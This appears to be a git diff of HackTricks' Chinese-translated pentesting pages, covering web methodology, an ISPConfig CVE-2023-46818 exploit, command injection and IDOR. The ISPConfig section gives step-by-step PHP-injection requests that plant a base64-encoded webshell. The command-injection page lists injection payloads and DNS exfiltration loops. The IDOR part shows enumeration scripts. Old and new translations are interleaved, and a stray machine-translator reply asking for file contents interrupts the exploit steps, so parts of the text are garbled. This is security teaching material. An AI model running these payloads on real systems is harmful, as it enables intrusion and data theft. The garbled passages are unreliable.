- Google API keys: 如果你发现任何以 **AIza** 开头的 API key例如 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik你可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 检查该 key 可以访问哪些 API。
- **S3 Buckets**: 在 spidering 时查看是否有任何 **子域****链接** 与某个 **S3 bucket** 相关。如果是这样,去[**检查** the **permissions** of the bucket](buckets/index.html)。
### 特殊发现
### Special findings
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣的** **事物**,您需要**注意**
在执行 **spidering****brute-forcing** 时,你可能会发现一些需要注意的 **有趣** **内容**
**有趣的文件**
- 查找 **CSS** 文件中指向其他文件的 **链接**
- [如果您找到一个_**.git**_文件可以提取一些信息](git.md)
- 如果您找到一个_**.env**_可以找到诸如API密钥、数据库密码和其他信息。
- 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们
- **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外监控每个找到的JS文件也很有趣因为在某些情况下变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
- 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件以查看它是否存在漏洞。
- **JavaScript去混淆和解包器:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck去混淆** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [If you find a _**.git**_ file some information can be extracted](git.md)
- 如果你发现一个 _**.env**_ 文件,可能会泄露诸如 api keys、数据库密码等信息。
- 如果你发现 **API endpoints**,你[也应该对它们进行测试](web-api-pentesting.md)。这些不一定是文件,但通常“看起来像”文件
- **JS files**: 在 spidering 部分列出了一些可以从 JS 文件中提取路径的工具。同样,监视每个发现的 JS 文件也很有意义,因为在某些情况下,文件的变化可能表明代码中引入了潜在的漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**.**
- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件以判断其是否存在已知漏洞。
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 在多个场合,您需要**理解使用的正则表达式**。这将很有用:[https://regex101.com/](https://regex101.com)或[https://pythonium.net/regex](https://pythonium.net/regex)
- 您还可以**监控检测到表单的文件**,因为参数的变化或新表单的出现可能表明潜在的新漏洞功能。
- 在多次场景中,你需要 **理解正则表达式** 的含义。这将很有用: [https://regex101.com/](https://regex101.com) [https://pythonium.net/regex](https://pythonium.net/regex)
- 你也可以**监控检测到表单的文件**,因为参数的变化或新表单的出现可能表明新的潜在易受攻击的功能。
**403 Forbidden/Basic Authentication/401 Unauthorized (绕过)**
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
{{#ref}}
@ -311,38 +312,38 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
**502 Proxy Error**
如果任何页面**响应**该**代码**,它可能是**配置错误的代理**。**如果您发送HTTP请求`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
如果任何页面返回该状态码,可能是代理配置不正确。**如果你发送一个 HTTP 请求例如: `GET https://google.com HTTP/1.1`**(带有 host header 和其他常见头),代理会尝试访问 _**google.com**_,此时你就可能发现一个 SSRF。
**NTLM认证 - 信息泄露**
**NTLM Authentication - Info disclosure**
如果运行的服务器要求身份验证是**Windows**或您发现一个登录要求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM身份验证的工作方式**服务器将响应内部信息IIS版本Windows版本...在“WWW-Authenticate”头中。\
您可以使用**nmap插件** "_http-ntlm-info.nse_" 来**自动化**此过程。
如果要求身份验证的服务器是 **Windows**,或者你遇到一个要求你输入 **凭据**(并要求 **域名**)的登录,你可以诱发**信息泄露**。\
发送头`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作机制,服务器会在 "WWW-Authenticate" 头中返回内部信息IIS 版本、Windows 版本...。\
你可以使用 nmap 插件 "_http-ntlm-info.nse_" 来**自动化**此过程。
**HTTP重定向CTF**
**HTTP Redirect (CTF)**
可以在**重定向**中**放置内容**。这些内容**不会显示给用户**(因为浏览器将执行重定向),但其中可能**隐藏**某些内容
可以在重定向中**放入内容**。这些内容不会显示给用户(因为浏览器会执行重定向),但可能在其中隐藏一些信息
### 网络漏洞检查
### Web Vulnerabilities Checking
现在已经对Web应用程序进行了全面的枚举是时候检查许多可能的漏洞。您可以在这里找到检查清单:
现在已经对 web 应用进行了全面的枚举,是时候检查许多可能的漏洞了。你可以在这里找到检查清单:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
有关Web漏洞的更多信息请访问
关于 web 漏洞的更多信息
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### 监控页面变化
### Monitor Pages for changes
您可以使用工具如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
你可以使用诸如 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 之类的工具来监控页面修改,这些修改可能引入漏洞。
### HackTricks自动命令
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## 概述
ISPConfig 是一个开源的托管控制面板。较旧的 3.2.x 版本包含一个语言文件编辑器功能,当为 超级管理员 启用时,允许通过格式错误的翻译记录注入任意 PHP 代码。 这可能在 web 服务器上下文中导致 RCE并且取决于 PHP 的执行方式,可能导致 privilege escalation。
主要默认路径:
- 当通过 `php -S` 或通过 Apache/nginx 提供服务时Web 根目录通常位于 `/var/www/ispconfig`
- Admin UI 可在 HTTP(S) vhost 上访问(有时仅绑定到 localhost如有需要请使用 SSH port-forward
提示:如果面板绑定到本地(例如 `127.0.0.1:8080`),请进行端口转发:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## 语言编辑器 PHP 代码注入 (CVE-2023-46818)
- 受影响ISPConfig 最高到 3.2.11(在 3.2.11p1 修复)
- 先决条件:
- 使用内置的 superadmin 账户 `admin` 登录(根据供应商说法,其他角色不受影响)
- 必须启用语言编辑器:在 `/usr/local/ispconfig/security/security_settings.ini` 中设置 `admin_allow_langedit=yes`
- 影响:经过认证的 admin 可以注入任意 PHP写入语言文件并被应用执行从而在 web 环境中实现 RCE
参考NVD 条目 CVE-2023-46818 以及下方 References 部分的供应商公告链接。
### 手动利用流程
1) 打开/创建语言文件以获取 CSRF token
发送第一次 POST 来初始化表单,并从 HTML 响应中解析 CSRF 字段(`csrf_id`, `csrf_key`)。示例请求路径:`/admin/language_edit.php`
2) 通过 records[] 注入 PHP 并保存
提交第二次 POST包含 CSRF 字段和恶意的翻译记录。最小命令执行探测:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
带外测试(观察 ICMP
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) 写入文件并放置 webshell
使用 `file_put_contents` 在一个可被 web 访问的路径下(例如,`admin/`)创建文件:
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
然后写一个简单的 webshell使用 base64 来避免 POST 请求体中的非法字符:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
我目前没有该文件的内容。请粘贴 src/network-services-pentesting/pentesting-web/ispconfig.md 的原始 Markdown 文本,或确认我可以访问文件内容。我将把其中的英文文本翻译成中文(保留代码、标签、链接、路径和指定不翻译的术语与格式),并严格保留原始的 Markdown/HTML 语法。
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
如果 PHP 以 root 身份执行(例如,通过 root 启动的 `php -S 127.0.0.1:8080`),这会立即导致 root RCE。否则你将获得以 web 服务器用户身份的代码执行。
### Python PoC
一个现成的 exploit 会自动化处理 token 并传送 payload
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
示例运行:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### 加固
- 升级到 3.2.11p1 或更高版本
- 禁用语言编辑器,除非确实需要:
```
admin_allow_langedit=no
```
- 避免以 root 身份运行面板;配置 PHP-FPM 或 web 服务器以降权
- 为内置的 `admin` 帐户强制使用强认证
## 参考
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
## 什么是命令注入?
## 什么是 command Injection?
**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能会完全被破坏。这些命令的执行通常允许攻击者获得对应用程序环境和底层系统的未经授权的访问或控制。
A **command injection** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。结果,应用程序及其所有数据可能被完全攻破。执行这些命令通常允许攻击者获得对应用环境和底层系统的未授权访问或控制。
### 上下文
根据 **输入被注入的位置**,您可能需要在命令之前 **终止引用的上下文**(使用 `"``'`)。
取决于 **你的输入被注入的位置**,你可能需要在命令之前 **终止被引号包围的上下文**(使用 `"``'`)。
## 命令注入/执行
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
@ -31,7 +32,8 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **限制** 绕过
如果您尝试在 **linux 机器内部执行任意命令**,您会对这些 **绕过** 感兴趣:
如果你想执行 **arbitrary commands inside a linux machine**,你可能会想阅读这些 **绕过:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -45,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### 参数
以下是可能容易受到代码注入和类似 RCE 漏洞的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)
下面列出可能易受 code injection 及类似 RCE 漏洞影响的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)
```
?cmd={payload}
?exec={payload}
@ -73,9 +75,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
?run={payload}
?print={payload}
```
### 基于时间的数据外泄
### Time based data exfiltration
逐字符提取数据:
提取数据:char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -87,7 +89,7 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS 基于数据外泄
### DNS based data exfiltration
基于工具 `https://github.com/HoLyVieR/dnsbin`,也托管在 dnsbin.zhack.ca
```
@ -99,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
在线工具检查基于DNS的数据外泄
用于检测基于 DNS 的 data exfiltration 的在线工具
- dnsbin.zhack.ca
- pingb.in
### 过滤绕过
### Filtering bypass
#### Windows
```
@ -118,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### Node.js `child_process.exec` `execFile`
### Node.js `child_process.exec` vs `execFile`
在审计 JavaScript/TypeScript 后端时,您经常会遇到 Node.js `child_process` API。
在审计 JavaScript/TypeScript 后端时,你经常会遇到 Node.js 的 `child_process` API。
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -128,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` 生成一个 **shell** (`/bin/sh -c`),因此任何对 shell 有特殊意义的字符(反引号、`;``&&``|``$()` 等)在用户输入与字符串连接时将导致 **命令注入**。
`exec()` spawns a **shell** (`/bin/sh -c`),因此任何对 shell 有特殊含义的字符back-ticks、`;``&&``|``$()`、…)在将用户输入拼接到字符串时都会导致 **command injection**。
**缓解措施:** 使用 `execFile()`(或在不使用 `shell` 选项的情况下使用 `spawn()`),并**每个参数作为单独的数组元素** 提供,以便不涉及 shell
**Mitigation:** 使用 `execFile()`(或在不使用 `shell` 选项的情况下使用 `spawn()`),并以**将每个参数作为单独的数组元素**的方式提供参数,这样就不会涉及 shell
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -138,20 +140,22 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
真实案例*Synology Photos* ≤ 1.7.0-0794 通过一个未经身份验证的 WebSocket 事件被利用,该事件将攻击者控制的数据放入 `id_user` 中,随后嵌入到 `exec()` 调用中,实现了 RCEPwn2Own 爱尔兰 2024
真实案例: *Synology Photos* ≤ 1.7.0-0794 可以通过一个未认证的 WebSocket 事件被利用,该事件将攻击者控制的数据放入 `id_user`,随后嵌入到 `exec()` 调用中,从而实现 RCEPwn2Own Ireland 2024
## 暴力破解检测列表
## Brute-Force Detection List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 参考文献
## 参考资料
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,23 +1,24 @@
# IDOR (不安全的直接对象引用)
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (不安全的直接对象引用) / 破损的对象级别授权 (BOLA) 出现于当一个网页或 API 端点泄露或接受一个用户可控的标识符,该标识符被**直接**用于访问一个内部对象**而不验证调用者是否有权**访问/修改该对象。成功的利用通常允许横向或纵向特权提升,例如读取或修改其他用户的数据,在最坏的情况下,完全接管账户或大规模数据外泄。
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) 出现在当某个 web 或 API 端点泄露或接受一个可被用户控制的标识符,该标识符被 **直接** 用来访问内部对象,且 **没有验证调用者是否有权访问/修改** 该对象时。
成功利用通常允许横向或纵向 privilege-escalation例如读取或修改其他用户的数据在最坏的情况下可能导致 full account takeover 或 mass-data exfiltration。
---
## 1. 识别潜在的 IDOR
## 1. 识别潜在的 IDORs
1. 找**引用对象的参数**
1. 找**引用对象的参数**
* 路径: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* 查询: `?id=42`, `?invoice=2024-00001`
* 体 / JSON: `{"user_id": 321, "order_id": 987}`
* 头 / Cookies: `X-Client-ID: 4711`
2. 优先选择**读取或更新**数据的端点 (`GET`, `PUT`, `PATCH`, `DELETE`)
3. 注意标识符是否**连续或可预测** 如果你的 ID 是 `64185742`,那么 `64185741` 可能存在。
4. 探索隐藏或替代流程(例如 *"Paradox team members"* 链接在登录页面中)可能暴露额外的 API。
5. 使用**经过身份验证的低权限会话**,仅更改 ID **保持相同的令牌/ Cookie**。缺少授权错误通常是 IDOR 的标志
* 请求体 / JSON: `{"user_id": 321, "order_id": 987}`
* 请求头 / Cookies: `X-Client-ID: 4711`
2. 优先关注**读取或更新**数据的端点(`GET`, `PUT`, `PATCH`, `DELETE`
3. 注意标识符是否**顺序或可预测** —— 如果你的 ID 是 `64185742`,那么 `64185741` 可能存在。
4. 探索隐藏或替代流程(例如登录页中的 *"Paradox team members"* 链接),这些可能暴露额外的 API。
5. 使用一个 **authenticated low-privilege session**,仅更改 ID 并保留相同的 token/cookie。缺少授权错误通常是 IDOR 的迹象
### 快速手动篡改 (Burp Repeater)
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
@ -26,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
### 自动化枚举 (Burp Intruder / curl 循环)
### 自动化枚举 (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done
```
---
## 2. 真实案例研究 McHire 聊天机器人平台 (2025)
在对 Paradox.ai 驱动的 **McHire** 招聘门户进行评估时,发现了以下 IDOR
### Error-response oracle用于用户/文件枚举
* 端点: `PUT /api/lead/cem-xhr`
* 授权: **任何** 餐厅测试账户的用户会话 cookie
* 请求体参数: `{"lead_id": N}` 8 位,**顺序** 数字标识符
当一个下载 endpoint 同时接受 username 和 filename例如 `/view.php?username=<u>&file=<f>`)时,错误信息中的细微差异常常会形成一个 oracle
通过减少 `lead_id`,测试者检索到了任意申请者的 **完整 PII**(姓名、电子邮件、电话、地址、班次偏好),以及一个允许会话劫持的消费者 **JWT**。枚举范围 `1 64,185,742` 暴露了大约 **6400 万** 条记录。
- 不存在的用户名 → "User not found"
- 文件名错误但扩展名合法 → "File does not exist"(有时也会列出可用文件)
- 错误的扩展名 → 验证错误
概念验证请求:
在任意已认证的 session 中,你可以在保持一个无害的 filename 的同时对 username 参数进行 fuzz并过滤 "user not found" 字符串以发现有效用户:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
一旦识别出有效的用户名,就可以直接请求特定文件(例如 `/view.php?username=amanda&file=privacy.odt`)。这种模式通常会导致未授权披露其他用户的文档以及 credential leakage。
---
## 2. 真实案例研究 McHire Chatbot Platform (2025)
在对由 Paradox.ai 驱动的 **McHire** 招聘门户进行评估时,发现了以下 IDOR
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie for **any** restaurant test account
* Body parameter: `{"lead_id": N}` 8 位、**顺序**数字标识符
通过减小 `lead_id`,测试者检索到了任意申请人的 **full PII**姓名、e-mail、phone、address、shift preferences以及允许会话劫持的消费者 **JWT**。对范围 `1 64,185,742` 的枚举暴露了大约 **64 million** 条记录。
概念验证请求:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
结合**默认管理员凭据**`123456:123456`)授予对测试帐户的访问权限,该漏洞导致了公司范围内的重大数据泄露。
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. IDOR / BOLA 的影响
* 横向升级 读取/更新/删除**其他用户**的数据。
* 纵向升级 低权限用户获得仅限管理员的功能。
* 如果标识符是连续的(例如,申请人 ID、发票则会发生大规模数据泄露。
* 通过窃取令牌或重置其他用户的密码进行帐户接管。
* 横向 读取/更新/删除 **其他用户** 的数据。
* 纵向 低权限用户获得仅限管理员的功能。
* 如果标识符是顺序的(例如 applicant IDs, invoices可能导致大规模数据泄露。
* 通过窃取令牌或重置其他用户的密码实现账户接管。
---
## 4. 缓解措施与最佳实践
1. 在每个请求上**强制对象级授权**`user_id == session.user`)。
2. 优先使用**间接、不可猜测的标识符**UUIDv4, ULID而不是自增 ID。
3. 在**服务器端**执行授权,绝不要依赖隐藏的表单字段或 UI 控件。
4. 在中央中间件中实施**RBAC / ABAC**检查。
5. 添加**速率限制和日志记录**以检测 ID 枚举。
1. 在每个请求上**强制实施对象级授权**`user_id == session.user`)。
2. 优先使用**间接、不可猜测的标识符**UUIDv4, ULID而不是自增 ID。
3. 在**服务器端**执行授权,切勿依赖隐藏表单字段或 UI 控件。
4. 在中央中间件中实**RBAC / ABAC** 检查。
5. 添加 **rate-limiting & logging** 以检测 ID 枚举。
6. 对每个新端点进行安全测试(单元、集成和 DAST
---
## 5. 工具
* **BurpSuite 扩展**Authorize, Auto Repeater, Turbo Intruder。
* **OWASP ZAP**Auth Matrix, Forced Browse。
* **Github 项目**`bwapp-idor-scanner`, `Blindy`(批量 IDOR 搜索)。
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## 参考文献
## References
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}